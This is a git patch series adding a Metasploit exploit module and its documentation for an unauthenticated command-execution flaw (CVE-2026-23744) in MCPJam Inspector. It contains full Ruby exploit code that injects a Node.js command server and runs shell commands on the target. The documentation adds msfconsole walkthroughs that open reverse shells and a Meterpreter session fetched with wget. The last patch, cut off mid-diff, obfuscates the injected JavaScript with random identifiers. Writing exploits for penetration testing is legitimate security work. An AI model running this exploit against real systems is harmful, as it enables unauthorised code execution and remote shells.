From 0dbc69b8bd7f894a6fcb6a196737139d4dc3e541 Mon Sep 17 00:00:00 2001 From: earthenvessel <49989763+earthenvessel@users.noreply.github.com> Date: Tue, 7 Jul 2026 13:18:28 -0400 Subject: [PATCH 1/3] Add MCPJam Inspector command execution exploit --- .../multi/http/mcpjam_inspector_rce.md | 175 +++++++++ .../multi/http/mcpjam_inspector_rce.rb | 332 ++++++++++++++++++ 2 files changed, 507 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md create mode 100644 modules/exploits/multi/http/mcpjam_inspector_rce.rb diff --git a/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md b/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md new file mode 100644 index 0000000000000..f90501b686142 --- /dev/null +++ b/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md @@ -0,0 +1,175 @@ +## Vulnerable Application + +MCPJam Inspector is a local-first development and debugging tool for Model Context Protocol (MCP) servers. +Versions 1.4.6 and earlier have been tested as affected by an unauthenticated remote command execution vulnerability in the +`/api/mcp/connect` endpoint. The endpoint accepts a JSON `serverConfig` object with `command` and `args` fields +used to launch an MCP server. When MCPJam Inspector is exposed on a routable interface, a remote attacker can +supply an arbitrary command and execute code as the user running MCPJam Inspector. + +The GitHub Security Advisory for CVE-2026-23744 states that affected versions are `<= 1.4.2`; however, local +testing of GitHub tags through `v1.4.6` also confirmed command execution through this module. Local testing found +that `v1.5.0` requires a session token for the connect endpoint and is not vulnerable to this unauthenticated +exploit path. This module currently provides a Unix command target only. + +## Testing + +### Setup a vulnerable MCPJam Inspector instance + +Install Node.js and run the vulnerable npm package. MCPJam Inspector 1.4.2 binds the server to all interfaces +and uses port 6274 by default. The `SERVER_PORT` environment variable can be used to select a different port. + +``` +SERVER_PORT=6274 npx @mcpjam/inspector@1.4.2 +``` + +To build from source instead, check out a vulnerable GitHub tag and run the production build: + +``` +git clone https://github.com/MCPJam/inspector.git +cd inspector +git checkout v1.4.2 +npm run install:deps +npm run build +SERVER_PORT=6274 node bin/start.js +``` + +Verify that the service is reachable: + +``` +curl http://192.0.2.10:6274/ +curl -i -X POST http://192.0.2.10:6274/api/mcp/connect \ + -H 'Content-Type: application/json' \ + -d '{"serverId":"test"}' +``` + +A vulnerable service should return an MCPJam Inspector web UI on `/`. The incomplete `/api/mcp/connect` request +should return an error indicating that `serverConfig` is required. + +## Verification Steps + +1. Start `msfconsole`. +2. Run: `use exploit/multi/http/mcpjam_inspector_rce`. +3. Set `RHOSTS`, `RPORT`, `SSL`, and `TARGETURI` as needed. +4. Run `check`. +5. For command-output testing, set `PAYLOAD` to `cmd/unix/generic`, set `FETCH_OUTPUT` to `true`, and set `CMD`. +6. For a session, set a Unix command shell payload such as `cmd/unix/reverse_bash` or `cmd/unix/reverse_nodejs`. +7. Run the module. + +## Options + +### FETCH_OUTPUT + +When set to `true`, the module waits for the MCP tool command to finish and prints stdout/stderr from the MCP +response. This is useful with `cmd/unix/generic` and short diagnostic commands such as `id` or `uname -a`. + +For reverse shell or other long-running session payloads, keep `FETCH_OUTPUT` set to `false` so the payload is +spawned asynchronously and the MCP tool call returns immediately. + +### EXEC_METHOD + +The default `mcp_tool` method starts a transient Node.js stdio MCP server and executes the Metasploit payload +through the MCP tool API. This is the most reliable method because it satisfies the MCP handshake expected by +MCPJam Inspector. + +The `direct_sh` method sends `/bin/sh -c ` directly through `/api/mcp/connect`. It is useful for quick +manual testing but non-MCP payloads may cause the target to return an MCP connection error after command dispatch. + +### SERVER_ID + +Optional MCP server ID to use for the transient MCP connection. If unset, the module generates a random server ID. + +## Scenarios + +### MCPJam Inspector 1.4.2 on Linux - check and command output + +``` +msf6 > use exploit/multi/http/mcpjam_inspector_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 +RHOSTS => 192.0.2.10 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 +RPORT => 6274 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false +SSL => false +msf6 exploit(multi/http/mcpjam_inspector_rce) > check +[*] Starting transient Node.js MCP command server as server ID check-abc12345 +[+] 192.0.2.10:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint +msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true +FETCH_OUTPUT => true +msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id +CMD => id +msf6 exploit(multi/http/mcpjam_inspector_rce) > run + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Starting transient Node.js MCP command server as server ID check-def67890 +[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint +[*] Starting transient Node.js MCP command server as server ID msf-xyz12345 +[+] MCP command server connected +[*] Executing payload through MCP tools/execute +[*] Command result: uid=1000(node) gid=1000(node) groups=1000(node) +[*] Exploit completed, but no session was created. +``` + +The final `Exploit completed, but no session was created` message is expected for `cmd/unix/generic` because it +executes a command and does not create a Metasploit session. + +### MCPJam Inspector 1.4.2 on Linux - Unix reverse shell + +``` +msf6 > use exploit/multi/http/mcpjam_inspector_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 +RHOSTS => 192.0.2.10 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 +RPORT => 6274 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false +SSL => false +msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/reverse_nodejs +PAYLOAD => cmd/unix/reverse_nodejs +msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20 +LHOST => 192.0.2.20 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001 +LPORT => 9001 +msf6 exploit(multi/http/mcpjam_inspector_rce) > run + +[*] Started reverse TCP handler on 192.0.2.20:9001 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Starting transient Node.js MCP command server as server ID check-ghijk123 +[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint +[*] Starting transient Node.js MCP command server as server ID msf-lmnop456 +[+] MCP command server connected +[*] Executing payload through MCP tools/execute +[*] Command shell session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234) at 2026-01-17 12:00:00 +0000 + +id +uid=1000(node) gid=1000(node) groups=1000(node) +``` + +## Tested Payloads + +The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments: + +* `cmd/unix/generic` +* `cmd/unix/reverse_bash` +* `cmd/unix/reverse_nodejs` +* `cmd/unix/reverse_perl` +* `cmd/unix/reverse_python` +* `cmd/unix/reverse_netcat` +* `cmd/unix/bind_nodejs` +* `cmd/unix/python/pingback_reverse_tcp` +* `cmd/unix/python/shell_reverse_tcp` + +Other `cmd/unix` payloads may also work if the required interpreter or utility is present on the target and the +network path is permitted. + +## Tested Versions + +The module was tested successfully against MCPJam Inspector `v1.4.1`, `v1.4.2`, `v1.4.3`, `v1.4.4`, `v1.4.5`, +and `v1.4.6` built from the GitHub source repository. The first fixed GitHub tag identified during testing was +`v1.5.0`; the `v2.23.0` tag also required session-token authentication for the relevant API endpoints. The module +was also tested against two Linux lab deployments exposing MCPJam Inspector over HTTP/HTTPS. + +When the check method receives an authentication response such as `Unauthorized` or `Session token required` from +the connect endpoint, it reports the target as not exploitable by this unauthenticated module. diff --git a/modules/exploits/multi/http/mcpjam_inspector_rce.rb b/modules/exploits/multi/http/mcpjam_inspector_rce.rb new file mode 100644 index 0000000000000..84e29a058fb4b --- /dev/null +++ b/modules/exploits/multi/http/mcpjam_inspector_rce.rb @@ -0,0 +1,332 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MCPJam Inspector Connect API Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated command execution vulnerability in + MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig + object containing a command and argument list used to start an MCP server. + A remote attacker can abuse this endpoint to execute arbitrary operating + system commands as the user running MCPJam Inspector. + + By default, this module starts a transient Node.js stdio MCP server, then + invokes a tool that executes the Metasploit command payload. A direct + /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP + tool mode is more reliable when the inspector expects a valid MCP + handshake. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'earthenvessel' # Metasploit module + ], + 'References' => [ + ['CVE', '2026-23744'], + ['URL', 'https://github.com/mcpjam/inspector'], + ['URL', 'https://packetinside.github.io/cves/cve-2026-23744/'] + ], + 'DisclosureDate' => '2026-01-16', + 'Payload' => { + 'Space' => 8192, + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd' + } + }, + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']), + OptString.new('SERVER_ID', [false, 'Server ID to use for the transient MCP connection']), + OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]), + OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false]) + ] + ) + end + + def base_path + normalize_uri(target_uri.path) + end + + def connect_path + normalize_uri(base_path, 'api', 'mcp', 'connect') + end + + def tools_execute_path + normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute') + end + + def delete_server_path(id) + normalize_uri(base_path, 'api', 'mcp', 'servers', id) + end + + def random_server_id(prefix = 'msf') + "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}" + end + + def server_id + configured_id = datastore['SERVER_ID'].to_s + return random_server_id if configured_id.empty? + + configured_id + end + + def post_connect(config, id:, timeout: 20) + send_request_cgi( + { + 'method' => 'POST', + 'uri' => connect_path, + 'ctype' => 'application/json', + 'data' => { + 'serverId' => id, + 'serverConfig' => config + }.to_json + }, + timeout + ) + end + + def mcp_tool_payload(fetch_output: false) + fetch_output_literal = fetch_output ? 'true' : 'false' + + %{ +const rl=require('readline').createInterface({input:process.stdin}); +const fetchDefault=#{fetch_output_literal}; +function send(o){process.stdout.write(JSON.stringify(o)+'\\n')} +rl.on('line',function(l){ + let m; try{m=JSON.parse(l)}catch(e){return} + if(m.method==='initialize'){ + send({jsonrpc:'2.0',id:m.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}}); + } else if(m.method==='notifications/initialized'){ + } else if(m.method==='tools/list'){ + send({jsonrpc:'2.0',id:m.id,result:{tools:[{name:'exec',description:'run command',inputSchema:{type:'object',properties:{cmd:{type:'string'},fetch_output:{type:'boolean'}},required:['cmd']}}]}}); + } else if(m.method==='tools/call'){ + const cp=require('child_process'); + const args=(m.params&&m.params.arguments)||{}; + const cmd=args.cmd||'id'; + const fetchOutput=args.fetch_output===undefined?fetchDefault:!!args.fetch_output; + if(fetchOutput){ + cp.exec(cmd,{timeout:30000},function(err,stdout,stderr){ + send({jsonrpc:'2.0',id:m.id,result:{content:[{type:'text',text:(stdout||'')+(stderr||'')+(err?String(err):'')}],isError:!!err}}); + }); + } else { + const child=cp.spawn('/bin/sh',['-c',cmd],{detached:true,stdio:'ignore'}); + child.unref(); + send({jsonrpc:'2.0',id:m.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}}); + } + } else if(m.id!==undefined){ + send({jsonrpc:'2.0',id:m.id,result:{}}); + } +}); + }.strip + end + + def start_mcp_tool_server(id, fetch_output: datastore['FETCH_OUTPUT']) + print_status("Starting transient Node.js MCP command server as server ID #{id}") + + post_connect( + { + 'command' => 'node', + 'args' => ['-e', mcp_tool_payload(fetch_output: fetch_output)] + }, + id: id, + timeout: 20 + ) + end + + def execute_mcp_tool(id, cmd, fetch_output: datastore['FETCH_OUTPUT']) + send_request_cgi( + { + 'method' => 'POST', + 'uri' => tools_execute_path, + 'ctype' => 'application/json', + 'data' => { + 'serverId' => id, + 'toolName' => 'exec', + 'parameters' => { + 'cmd' => cmd, + 'fetch_output' => fetch_output + } + }.to_json + }, + 35 + ) + end + + def cleanup_mcp_server(id) + send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => base_path + ) + + return CheckCode::Unknown('No response from the target') unless res + + unless res.code == 200 && res.body&.include?('MCPJam Inspector') + return CheckCode::Safe('The target does not appear to be MCPJam Inspector') + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => connect_path, + 'ctype' => 'application/json', + 'data' => { 'serverId' => random_server_id('check') }.to_json + ) + + return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res + + json = res.get_json_document + auth_text = [ + json['error'], + json['message'], + json['hint'] + ].compact.join(' ') + if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i) + return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint') + end + + unless res.code == 400 && json['error'].to_s.include?('serverConfig is required') + return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected') + end + + id = random_server_id('check') + marker = Rex::Text.rand_text_alphanumeric(12) + res = start_mcp_tool_server(id, fetch_output: true) + unless res&.code == 200 + return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed') + end + + res = execute_mcp_tool(id, "printf #{marker}", fetch_output: true) + return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200 + + output = res.get_json_document.dig('result', 'content', 0, 'text').to_s + if output.include?(marker) + return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint') + end + + CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker') + rescue JSON::ParserError + CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON') + rescue StandardError => e + CheckCode::Unknown("Unable to complete check: #{e.class}: #{e.message}") + ensure + cleanup_mcp_server(id) if id + end + + def execute_direct_sh(cmd, id) + print_status("Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}") + + res = post_connect( + { + 'command' => '/bin/sh', + 'args' => ['-c', cmd] + }, + id: id, + timeout: 20 + ) + + if res.nil? + print_status('No HTTP response received after command dispatch') + return + end + + case res.code + when 200 + print_good('Command dispatched and the target returned success') + when 500 + print_status("Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads") + else + print_warning("Unexpected response after command dispatch: HTTP #{res.code} #{res.message}") + vprint_line(res.body.to_s) + end + end + + def execute_via_mcp_tool(cmd, id) + res = start_mcp_tool_server(id) + + fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}") + end + + print_good('MCP command server connected') + print_status('Executing payload through MCP tools/execute') + + res = execute_mcp_tool(id, cmd) + + if res.nil? + print_status('No HTTP response received after tool execution') + return + end + + unless res.code == 200 + print_warning("Unexpected tools/execute response: HTTP #{res.code} #{res.message}") + vprint_line(res.body.to_s) + return + end + + result = res.get_json_document + text = result.dig('result', 'content', 0, 'text').to_s + if datastore['FETCH_OUTPUT'] + print_status("Command result: #{text.strip}") unless text.empty? + else + vprint_status("MCP tool response: #{text.strip}") unless text.empty? + end + rescue JSON::ParserError + print_warning('Tools/execute returned non-JSON output') + ensure + cleanup_mcp_server(id) + end + + def execute_command(cmd, _opts = {}) + id = server_id + + if datastore['EXEC_METHOD'] == 'direct_sh' + execute_direct_sh(cmd, id) + else + execute_via_mcp_tool(cmd, id) + end + end + + def exploit + execute_command(payload.encoded) + end +end From da5dfb2e955980c2d3a761d3a08f25a9de372d29 Mon Sep 17 00:00:00 2001 From: earthenvessel <49989763+earthenvessel@users.noreply.github.com> Date: Wed, 5 Aug 2026 13:11:13 -0400 Subject: [PATCH 2/3] Address MCPJam Inspector review feedback Add an official Docker test setup, support and document the Linux x64 Meterpreter fetch payload, and simplify SERVER_ID handling. --- .../multi/http/mcpjam_inspector_rce.md | 72 +++++++++++++++++-- .../multi/http/mcpjam_inspector_rce.rb | 25 +++---- 2 files changed, 76 insertions(+), 21 deletions(-) diff --git a/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md b/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md index f90501b686142..73588f7d9fcf2 100644 --- a/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md +++ b/documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md @@ -15,8 +15,22 @@ exploit path. This module currently provides a Unix command target only. ### Setup a vulnerable MCPJam Inspector instance -Install Node.js and run the vulnerable npm package. MCPJam Inspector 1.4.2 binds the server to all interfaces -and uses port 6274 by default. The `SERVER_PORT` environment variable can be used to select a different port. +The official MCPJam Inspector 1.4.2 container provides a reproducible test target. The application runs as the +unprivileged `node` user and listens on port 6274. The following command binds the vulnerable service to the local +host only: + +``` +docker run --rm -d --name mcpjam-v142 \ + -p 127.0.0.1:6274:6274 \ + mcpjam/mcp-inspector:v1.4.2 +``` + +Use an isolated test network and replace the loopback bind with an authorized lab interface only when testing from +a separate Metasploit host. Do not expose this intentionally vulnerable container to an untrusted network. + +Alternatively, install Node.js and run the vulnerable npm package. MCPJam Inspector 1.4.2 binds the server to all +interfaces and uses port 6274 by default. The `SERVER_PORT` environment variable can be used to select a different +port. ``` SERVER_PORT=6274 npx @mcpjam/inspector@1.4.2 @@ -52,7 +66,8 @@ should return an error indicating that `serverConfig` is required. 3. Set `RHOSTS`, `RPORT`, `SSL`, and `TARGETURI` as needed. 4. Run `check`. 5. For command-output testing, set `PAYLOAD` to `cmd/unix/generic`, set `FETCH_OUTPUT` to `true`, and set `CMD`. -6. For a session, set a Unix command shell payload such as `cmd/unix/reverse_bash` or `cmd/unix/reverse_nodejs`. +6. For a session, set a Unix command shell payload such as `cmd/unix/reverse_bash`, or a Linux command fetch payload + such as `cmd/linux/http/x64/meterpreter_reverse_tcp`. 7. Run the module. ## Options @@ -76,7 +91,7 @@ manual testing but non-MCP payloads may cause the target to return an MCP connec ### SERVER_ID -Optional MCP server ID to use for the transient MCP connection. If unset, the module generates a random server ID. +MCP server ID to use for the transient MCP connection. The module generates a random default when it is loaded. ## Scenarios @@ -147,6 +162,51 @@ id uid=1000(node) gid=1000(node) groups=1000(node) ``` +### MCPJam Inspector 1.4.2 Docker container - Linux x64 Meterpreter + +The official container includes `wget` and provides a writable `/tmp` directory. Set the fetch host and callback +host to an address reachable from the container: + +``` +msf6 > use exploit/multi/http/mcpjam_inspector_rce +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 +RHOSTS => 192.0.2.10 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 +RPORT => 6274 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false +SSL => false +msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_COMMAND WGET +FETCH_COMMAND => WGET +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_DELETE true +FETCH_DELETE => true +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_SRVHOST 192.0.2.20 +FETCH_SRVHOST => 192.0.2.20 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20 +LHOST => 192.0.2.20 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001 +LPORT => 9001 +msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT false +FETCH_OUTPUT => false +msf6 exploit(multi/http/mcpjam_inspector_rce) > run + +[*] Started reverse TCP handler on 192.0.2.20:9001 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint +[+] MCP command server connected +[*] Executing payload through MCP tools/execute +[*] Meterpreter session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234) + +meterpreter > getuid +Server username: node +meterpreter > sysinfo +Architecture : x64 +Meterpreter : x64/linux +``` + ## Tested Payloads The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments: @@ -160,6 +220,7 @@ The following Unix command payloads were tested successfully against Linux MCPJa * `cmd/unix/bind_nodejs` * `cmd/unix/python/pingback_reverse_tcp` * `cmd/unix/python/shell_reverse_tcp` +* `cmd/linux/http/x64/meterpreter_reverse_tcp` Other `cmd/unix` payloads may also work if the required interpreter or utility is present on the target and the network path is permitted. @@ -169,7 +230,8 @@ network path is permitted. The module was tested successfully against MCPJam Inspector `v1.4.1`, `v1.4.2`, `v1.4.3`, `v1.4.4`, `v1.4.5`, and `v1.4.6` built from the GitHub source repository. The first fixed GitHub tag identified during testing was `v1.5.0`; the `v2.23.0` tag also required session-token authentication for the relevant API endpoints. The module -was also tested against two Linux lab deployments exposing MCPJam Inspector over HTTP/HTTPS. +was also tested against the official `mcpjam/mcp-inspector:v1.4.2` Linux x64 container and two Linux lab deployments +exposing MCPJam Inspector over HTTP/HTTPS. When the check method receives an authentication response such as `Unauthorized` or `Session token required` from the connect endpoint, it reports the target as not exploitable by this unauthenticated module. diff --git a/modules/exploits/multi/http/mcpjam_inspector_rce.rb b/modules/exploits/multi/http/mcpjam_inspector_rce.rb index 84e29a058fb4b..ca80908024b24 100644 --- a/modules/exploits/multi/http/mcpjam_inspector_rce.rb +++ b/modules/exploits/multi/http/mcpjam_inspector_rce.rb @@ -41,18 +41,18 @@ def initialize(info = {}) 'DisclosureDate' => '2026-01-16', 'Payload' => { 'Space' => 8192, - 'DisableNops' => true, - 'Compat' => { - 'PayloadType' => 'cmd' - } + 'DisableNops' => true }, 'Privileged' => false, 'Targets' => [ [ - 'Unix Command', + 'Unix/Linux Command', { - 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } } ] ], @@ -72,7 +72,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']), - OptString.new('SERVER_ID', [false, 'Server ID to use for the transient MCP connection']), + OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]), OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]), OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false]) ] @@ -99,13 +99,6 @@ def random_server_id(prefix = 'msf') "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}" end - def server_id - configured_id = datastore['SERVER_ID'].to_s - return random_server_id if configured_id.empty? - - configured_id - end - def post_connect(config, id:, timeout: 20) send_request_cgi( { @@ -317,7 +310,7 @@ def execute_via_mcp_tool(cmd, id) end def execute_command(cmd, _opts = {}) - id = server_id + id = datastore['SERVER_ID'] if datastore['EXEC_METHOD'] == 'direct_sh' execute_direct_sh(cmd, id) From 298d11247a3392c6d4df9f8e81faac85ec9fd4d9 Mon Sep 17 00:00:00 2001 From: earthenvessel <49989763+earthenvessel@users.noreply.github.com> Date: Mon, 31 Aug 2026 15:14:30 -0400 Subject: [PATCH 3/3] Address MCPJam Inspector payload review feedback --- .../multi/http/mcpjam_inspector_rce.rb | 85 +++++++++++-------- 1 file changed, 51 insertions(+), 34 deletions(-) diff --git a/modules/exploits/multi/http/mcpjam_inspector_rce.rb b/modules/exploits/multi/http/mcpjam_inspector_rce.rb index ca80908024b24..311a46f93fff5 100644 --- a/modules/exploits/multi/http/mcpjam_inspector_rce.rb +++ b/modules/exploits/multi/http/mcpjam_inspector_rce.rb @@ -31,6 +31,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ + 'Louay-075', # PoC author 'earthenvessel' # Metasploit module ], 'References' => [ @@ -99,6 +100,20 @@ def random_server_id(prefix = 'msf') "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}" end + def mcp_tool_names + names = {} + %i[ + readline fetch_default send_response response line message error child_process arguments command fetch_output + exec_error stdout stderr child tool_name command_key fetch_output_key + ].each do |name| + random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" + random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" while names.value?(random_name) + names[name] = random_name + end + + names + end + def post_connect(config, id:, timeout: 20) send_request_cgi( { @@ -114,55 +129,55 @@ def post_connect(config, id:, timeout: 20) ) end - def mcp_tool_payload(fetch_output: false) + def mcp_tool_payload(names, fetch_output: false) fetch_output_literal = fetch_output ? 'true' : 'false' %{ -const rl=require('readline').createInterface({input:process.stdin}); -const fetchDefault=#{fetch_output_literal}; -function send(o){process.stdout.write(JSON.stringify(o)+'\\n')} -rl.on('line',function(l){ - let m; try{m=JSON.parse(l)}catch(e){return} - if(m.method==='initialize'){ - send({jsonrpc:'2.0',id:m.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}}); - } else if(m.method==='notifications/initialized'){ - } else if(m.method==='tools/list'){ - send({jsonrpc:'2.0',id:m.id,result:{tools:[{name:'exec',description:'run command',inputSchema:{type:'object',properties:{cmd:{type:'string'},fetch_output:{type:'boolean'}},required:['cmd']}}]}}); - } else if(m.method==='tools/call'){ - const cp=require('child_process'); - const args=(m.params&&m.params.arguments)||{}; - const cmd=args.cmd||'id'; - const fetchOutput=args.fetch_output===undefined?fetchDefault:!!args.fetch_output; - if(fetchOutput){ - cp.exec(cmd,{timeout:30000},function(err,stdout,stderr){ - send({jsonrpc:'2.0',id:m.id,result:{content:[{type:'text',text:(stdout||'')+(stderr||'')+(err?String(err):'')}],isError:!!err}}); +const #{names[:readline]}=require('readline').createInterface({input:process.stdin}); +const #{names[:fetch_default]}=#{fetch_output_literal}; +function #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\n')} +#{names[:readline]}.on('line',function(#{names[:line]}){ + let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return} + if(#{names[:message]}.method==='initialize'){ + #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}}); + } else if(#{names[:message]}.method==='notifications/initialized'){ + } else if(#{names[:message]}.method==='tools/list'){ + #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}}); + } else if(#{names[:message]}.method==='tools/call'){ + const #{names[:child_process]}=require('child_process'); + const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{}; + const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id'; + const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}']; + if(#{names[:fetch_output]}){ + #{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){ + #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}}); }); } else { - const child=cp.spawn('/bin/sh',['-c',cmd],{detached:true,stdio:'ignore'}); - child.unref(); - send({jsonrpc:'2.0',id:m.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}}); + const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'}); + #{names[:child]}.unref(); + #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}}); } - } else if(m.id!==undefined){ - send({jsonrpc:'2.0',id:m.id,result:{}}); + } else if(#{names[:message]}.id!==undefined){ + #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}}); } }); }.strip end - def start_mcp_tool_server(id, fetch_output: datastore['FETCH_OUTPUT']) + def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT']) print_status("Starting transient Node.js MCP command server as server ID #{id}") post_connect( { 'command' => 'node', - 'args' => ['-e', mcp_tool_payload(fetch_output: fetch_output)] + 'args' => ['-e', mcp_tool_payload(names, 